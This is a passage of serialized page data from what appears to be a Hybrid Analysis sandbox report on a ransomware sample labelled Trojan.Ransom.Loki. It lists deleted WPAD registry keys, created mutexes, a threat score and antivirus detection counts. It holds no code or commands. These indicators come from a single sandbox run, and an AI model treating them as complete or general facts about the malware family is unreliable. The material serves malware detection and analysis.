SETTINGS\\WPAD\\{E71B7276-DF21-42FC-835B-83ECAD9A9895}\\00-00-5E-00-01-06\\","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{E71B7276-DF21-42FC-835B-83ECAD9A9895}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-06\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net data provider for sqlserver","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Global\\.net data provider for sqlserver","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}]}},"report_ids":{"sandbox_job_ids":["64e1eedfaeea8c0e1e07ffa7"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Ransom.Loki Sample 1e712ef0a37d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 1e712ef0a37d…. Malware family: Trojan.Ransom.Loki. Threat score 100/100. 17/27 AV engines flagged this file. 13 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Ransom.Loki Sample 1e712ef0a37d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 1e712ef0a37d…. Malware family: Trojan.Ransom.Loki. Threat score 100/100. 17/27 AV engines flagged this file. 13 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Ransom.Loki Sample 1e712ef0a37d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 1e712ef0a37d…. Malware family: Trojan.Ransom.Loki. Threat score 100/100. 17/27 AV engines flagged this file. 13 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L50","11",{}]]